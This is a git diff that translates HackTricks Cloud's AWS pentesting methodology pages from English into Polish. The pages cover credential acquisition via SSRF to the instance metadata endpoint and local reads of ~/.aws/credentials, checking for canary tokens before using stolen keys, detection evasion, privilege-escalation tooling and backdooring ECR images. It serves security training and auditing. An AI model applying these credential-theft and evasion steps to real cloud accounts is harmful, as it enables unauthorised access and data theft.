secrets used by all the projects. +**Cel:** Zarządzanie zmiennymi i sekretami specyficznymi dla środowiska używanymi przez wszystkie projekty. -#### Security Configurations: +#### Konfiguracje zabezpieczeń: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Ujawnianie wrażliwych zmiennych** +- **Błędna konfiguracja:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta. +- **Ryzyko:** Ujawnienie kluczy API, poświadczeń bazy danych lub innych wrażliwych danych publicznie, co prowadzi do naruszeń danych. +- **Wrażliwe wyłączone** +- **Błędna konfiguracja:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów. +- **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index ad71de826..512b3c206 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them. +**Przed rozpoczęciem pentestingu** środowiska **AWS** istnieje kilka **podstawowych rzeczy, które musisz wiedzieć** o tym, jak działa AWS, aby pomóc Ci zrozumieć, co musisz zrobić, jak znaleźć błędy konfiguracyjne i jak je wykorzystać. -Concepts such as organization hierarchy, IAM and other basic concepts are explained in: +Koncepcje takie jak hierarchia organizacji, IAM i inne podstawowe pojęcia są wyjaśnione w: {{#ref}} aws-basic-information/ {{#endref}} -## Labs to learn +## Laboratoria do nauki - [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable) @@ -22,49 +22,49 @@ aws-basic-information/ - [http://flaws.cloud/](http://flaws.cloud/) - [http://flaws2.cloud/](http://flaws2.cloud/) -Tools to simulate attacks: +Narzędzia do symulacji ataków: - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) -## AWS Pentester/Red Team Methodology +## Metodologia Pentestera/Red Team AWS -In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected. +Aby audytować środowisko AWS, bardzo ważne jest, aby wiedzieć: które **usługi są używane**, co jest **eksponowane**, kto ma **dostęp** do czego i jak są połączone wewnętrzne usługi AWS oraz **usługi zewnętrzne**. -From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: +Z punktu widzenia Red Team, **pierwszym krokiem do skompromitowania środowiska AWS** jest uzyskanie jakichś **poświadczeń**. Oto kilka pomysłów, jak to zrobić: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in AWS-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.aws/credentials` - - `C:\Users\USERNAME\.aws\credentials` -- 3rd parties **breached** -- **Internal** Employee -- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials +- **Wycieki** w githubie (lub podobnych) - OSINT +- **Inżynieria** społeczna +- Ponowne użycie **hasła** (wycieki haseł) +- Luki w aplikacjach hostowanych w AWS +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) z dostępem do punktu końcowego metadanych +- **Odczyt lokalnych plików** +- `/home/USERNAME/.aws/credentials` +- `C:\Users\USERNAME\.aws\credentials` +- **Złamane** przez osoby trzecie +- **Wewnętrzny** pracownik +- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)poświadczenia -Or by **compromising an unauthenticated service** exposed: +Lub poprzez **skomplikowanie niezautoryzowanej usługi** eksponowanej: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -Or if you are doing a **review** you could just **ask for credentials** with these roles: +Lub jeśli robisz **przegląd**, możesz po prostu **poprosić o poświadczenia** z tymi rolami: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Po uzyskaniu poświadczeń musisz wiedzieć **do kogo należą te poświadczenia** i **do czego mają dostęp**, więc musisz przeprowadzić podstawową enumerację: -## Basic Enumeration +## Podstawowa enumeracja ### SSRF -If you found a SSRF in a machine inside AWS check this page for tricks: +Jeśli znalazłeś SSRF na maszynie wewnątrz AWS, sprawdź tę stronę po triki: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -One of the first things you need to know is who you are (in where account you are in other info about the AWS env): - +Jedną z pierwszych rzeczy, które musisz wiedzieć, jest to, kim jesteś (w jakim koncie jesteś i inne informacje o środowisku AWS): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` - > [!CAUTION] -> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\ -> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). +> Zauważ, że firmy mogą używać **canary tokens**, aby zidentyfikować, kiedy **tokeny są kradzione i używane**. Zaleca się sprawdzenie, czy token jest tokenem canary, zanim go użyjesz.\ +> Więcej informacji [**sprawdź tę stronę**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Org Enumeration @@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md ### IAM Enumeration -If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**. +Jeśli masz wystarczające uprawnienia, **sprawdzenie uprawnień każdej jednostki w koncie AWS** pomoże Ci zrozumieć, co Ty i inne tożsamości możecie zrobić oraz jak **eskalować uprawnienia**. -If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\ -Check **how to do the numeration and brute-forcing** in: +Jeśli nie masz wystarczających uprawnień do enumeracji IAM, możesz **ukraść je za pomocą brute force**, aby je ustalić.\ +Sprawdź **jak przeprowadzić enumerację i brute-forcing** w: {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Teraz, gdy **masz pewne informacje o swoich poświadczeniach** (a jeśli jesteś w red team, miejmy nadzieję, że **nie zostałeś wykryty**). Czas ustalić, które usługi są używane w środowisku.\ +> W następnej sekcji możesz sprawdzić kilka sposobów na **enumerację niektórych powszechnych usług.** ## Services Enumeration, Post-Exploitation & Persistence -AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: +AWS ma zdumiewającą ilość usług, na następnej stronie znajdziesz **podstawowe informacje, enumerację** cheatsheets\*\*,\*\* jak **unikać wykrycia**, uzyskać **persistence** i inne **sztuczki po eksploatacji** dotyczące niektórych z nich: {{#ref}} aws-services/ {{#endref}} -Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools). +Zauważ, że **nie** musisz wykonywać całej pracy **ręcznie**, poniżej w tym poście możesz znaleźć **sekcję o** [**automatycznych narzędziach**](./#automated-tools). -Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: +Co więcej, na tym etapie możesz odkryć **więcej usług wystawionych dla nieautoryzowanych użytkowników**, które możesz wykorzystać: {{#ref}} aws-unauthenticated-enum-access/ @@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/ ## Privilege Escalation -If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in: +Jeśli możesz **sprawdzić przynajmniej swoje własne uprawnienia** do różnych zasobów, możesz **sprawdzić, czy możesz uzyskać dalsze uprawnienia**. Powinieneś skupić się przynajmniej na uprawnieniach wskazanych w: {{#ref}} aws-privilege-escalation/ @@ -141,10 +139,10 @@ aws-privilege-escalation/ ## Publicly Exposed Services -While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\ -As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. +Podczas enumeracji usług AWS mogłeś znaleźć niektóre z nich **wystawiające elementy do Internetu** (porty VM/Kontenerów, bazy danych lub usługi kolejkowe, migawki lub kosze...).\ +Jako pentester/red teamer zawsze powinieneś sprawdzić, czy możesz znaleźć **wrażliwe informacje / luki** w nich, ponieważ mogą one zapewnić Ci **dalszy dostęp do konta AWS**. -In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: +W tej książce powinieneś znaleźć **informacje** o tym, jak znaleźć **wystawione usługi AWS i jak je sprawdzić**. Na temat tego, jak znaleźć **luki w wystawionych usługach sieciowych**, zalecałbym **szukać** konkretnej **usługi** w: {{#ref}} https://book.hacktricks.xyz/ @@ -154,52 +152,49 @@ https://book.hacktricks.xyz/ ### From the root/management account -When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account. +Gdy konto zarządzające tworzy nowe konta w organizacji, **nowa rola** jest tworzona w nowym koncie, domyślnie nazwana **`OrganizationAccountAccessRole`** i nadająca politykę **AdministratorAccess** dla **konta zarządzającego**, aby uzyskać dostęp do nowego konta.
-So, in order to access as administrator a child account you need: +Aby uzyskać dostęp jako administrator do konta podrzędnego, musisz: -- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin. - - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts` - - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**. -- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary). +- **Skompromitować** **konto zarządzające** i znaleźć **ID** **konta podrzędnych** oraz **nazwy** **ról** (domyślnie OrganizationAccountAccessRole), które pozwalają kontu zarządzającemu uzyskać dostęp jako administrator. +- Aby znaleźć konta podrzędne, przejdź do sekcji organizacji w konsoli AWS lub uruchom `aws organizations list-accounts` +- Nie możesz znaleźć nazw ról bezpośrednio, więc sprawdź wszystkie niestandardowe polityki IAM i poszukaj tych, które pozwalają na **`sts:AssumeRole` nad wcześniej odkrytymi kontami podrzędnymi**. +- **Skompromituj** **podmiot** w koncie zarządzającym z **uprawnieniem `sts:AssumeRole` nad rolą w kontach podrzędnych** (nawet jeśli konto pozwala każdemu z konta zarządzającego na podszywanie się, ponieważ jest to konto zewnętrzne, konkretne uprawnienia `sts:AssumeRole` są konieczne). ## Automated Tools ### Recon -- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby. - +- [**aws-recon**](https://github.com/darkbitio/aws-recon): Narzędzie do **zbierania inwentarza** skoncentrowane na bezpieczeństwie AWS, napisane w Ruby. ```bash # Install gem install aws_recon # Recon and get json AWS_PROFILE= aws_recon \ - --services S3,EC2 \ - --regions global,us-east-1,us-east-2 \ - --verbose +--services S3,EC2 \ +--regions global,us-east-1,us-east-2 \ +--verbose ``` - -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues. - +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist to **narzędzie wielochmurowe do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper pomaga w analizie twoich środowisk Amazon Web Services (AWS). Teraz zawiera znacznie więcej funkcji, w tym audyt problemów z bezpieczeństwem. ```bash # Installation steps in github # Create a config.json file with the aws info, like: { - "accounts": [ - { - "default": true, - "id": "", - "name": "dev" - } - ], - "cidrs": - { - "2.2.2.2/28": {"name": "NY Office"} - } +"accounts": [ +{ +"default": true, +"id": "", +"name": "dev" +} +], +"cidrs": +{ +"2.2.2.2/28": {"name": "NY Office"} +} } # Enumerate @@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` - -- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. - +- [**cartography**](https://github.com/lyft/cartography): Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury oraz relacje między nimi w intuicyjnym widoku graficznym zasilanym przez bazę danych Neo4j. ```bash # Install pip install cartography @@ -240,17 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` - -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjny widok graficzny oparty na bazie danych Neo4j. +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Używa python2) To narzędzie, które próbuje **odkryć wszystkie** [**zasoby AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) utworzone w koncie. +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To narzędzie do **pobierania wszystkich publicznych adresów IP** (zarówno IPv4/IPv6) związanych z kontem AWS. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict. - - Note that pacu **only checks your own privescs paths** (not account wide). - +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Odkryj najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS, w tym AWS Shadow Admins. Używa powershell. Możesz znaleźć **definicję uprzywilejowanych polityk** w funkcji **`Check-PrivilegedPolicy`** w [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu to otwartoźródłowe **ramy eksploatacji AWS**, zaprojektowane do testowania bezpieczeństwa ofensywnego w środowiskach chmurowych. Może **enumerować**, znajdować **błędy konfiguracyjne** i **eksploatować** je. Możesz znaleźć **definicję uprzywilejowanych uprawnień** w [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) wewnątrz słownika **`user_escalation_methods`**. +- Zauważ, że pacu **sprawdza tylko twoje własne ścieżki privesc** (nie w skali całego konta). ```bash # Install ## Feel free to use venvs @@ -264,9 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` - -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) - +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różne użytkowników i role IAM w koncie jako graf skierowany, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, które atakujący mógłby wykorzystać, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\ - It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use). - +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining to narzędzie oceny bezpieczeństwa AWS IAM, które identyfikuje naruszenia zasady najmniejszych uprawnień i generuje raport HTML z priorytetem ryzyka.\ +Pokaże ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws **polityki** oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie). ```bash # Install pip install cloudsplaining @@ -303,24 +290,20 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack ocenia konta AWS pod kątem **wrażliwości na przejęcie subdomen** w wyniku rozdzielonych konfiguracji Route53 i CloudFront. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista repozytoriów ECR -> Pobierz repozytorium ECR -> Wprowadź backdoora -> Wypchnij obraz z backdoorem +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag to narzędzie, które **przeszukuje** publiczne migawki Elastic Block Storage (**EBS**) w poszukiwaniu sekretów, które mogły zostać przypadkowo pozostawione. -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in. - -### Audit - -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins). +### Audyt +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua to projekt open-source zaprojektowany w celu wykrywania **ryzyk bezpieczeństwa w kontach infrastruktury chmurowej**, w tym: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) oraz GitHub (nie szuka ShadowAdmins). ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` - -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler to narzędzie zabezpieczeń typu Open Source do przeprowadzania ocen najlepszych praktyk zabezpieczeń AWS, audytów, reakcji na incydenty, ciągłego monitorowania, wzmacniania i gotowości do analizy kryminalistycznej. ```bash # Install python3, jq and git # Install @@ -331,15 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` - -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. Jest to narzędzie wiersza poleceń typu open source stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć wykorzystywalne ścieżki ataku w infrastrukturze chmurowej. ```bash cloudfox aws --profile [profile-name] all-checks ``` - -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. - +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze o otwartym kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych. ```bash # Install virtualenv -p python3 venv @@ -350,18 +329,16 @@ scout --help # Get info scout aws -p dev ``` +- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (używa python2.7 i wygląda na nieutrzymywaną) +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus to potężne narzędzie do najlepszych praktyk twardnienia AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (wygląda na nieutrzymywane). Sprawdza tylko domyślnie skonfigurowane poświadczenia w systemie. -- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system. +### Stały audyt -### Constant Audit - -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response. - -## DEBUG: Capture AWS cli requests +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu umożliwienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana kosztowo. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** to platforma do **ciągłego monitorowania zgodności, raportowania zgodności i automatyzacji bezpieczeństwa dla chmury**. W PacBot polityki bezpieczeństwa i zgodności są wdrażane jako kod. Wszystkie zasoby odkryte przez PacBot są oceniane pod kątem zgodności z tymi politykami. Ramy **auto-fix** PacBot zapewniają możliwość automatycznego reagowania na naruszenia polityki poprzez podejmowanie zdefiniowanych działań. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert to bezserwerowa, **w czasie rzeczywistym** ramka analizy danych, która umożliwia **przyjmowanie, analizowanie i powiadamianie** o danych z dowolnego środowiska, **używając źródeł danych i logiki powiadamiania, które definiujesz**. Zespoły bezpieczeństwa komputerowego używają StreamAlert do skanowania terabajtów danych dzienników każdego dnia w celu wykrywania incydentów i reakcji. +## DEBUG: Przechwytywanie żądań AWS cli ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 @@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` - ## References - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 02e6e7729..8c126157d 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,261 +1,245 @@ -# AWS - Basic Information +# AWS - Podstawowe Informacje {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Hierarchia Organizacji ![](<../../../images/image (151).png>) -### Accounts +### Konta -In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. +W AWS istnieje **konto główne**, które jest **rodzicem dla wszystkich kont** w Twojej **organizacji**. Jednak nie musisz używać tego konta do wdrażania zasobów, możesz utworzyć **inne konta, aby oddzielić różne infrastruktury AWS** między sobą. -This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. +Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że specjalnie utworzone są mosty), dzięki czemu możesz stworzyć granice między wdrożeniami. -Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. +Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie kontach użytkowników): jedno konto, które jest wyznaczone jako konto zarządzające, oraz jedno lub więcej kont członkowskich. -- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: +- **Konto zarządzające (konto główne)** to konto, którego używasz do tworzenia organizacji. Z konta zarządzającego organizacją możesz zrobić następujące rzeczy: - - Create accounts in the organization - - Invite other existing accounts to the organization - - Remove accounts from the organization - - Manage invitations - - Apply policies to entities (roots, OUs, or accounts) within the organization - - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. - - It's possible to login as the root user using the email and password used to create this root account/organization. +- Tworzyć konta w organizacji +- Zapraszać inne istniejące konta do organizacji +- Usuwać konta z organizacji +- Zarządzać zaproszeniami +- Stosować polityki do podmiotów (korzeni, OU lub kont) w organizacji +- Włączyć integrację z obsługiwanymi usługami AWS, aby zapewnić funkcjonalność usług we wszystkich kontach w organizacji. +- Możliwe jest zalogowanie się jako użytkownik główny, używając adresu e-mail i hasła użytego do utworzenia tego konta głównego/organizacji. - The management account has the 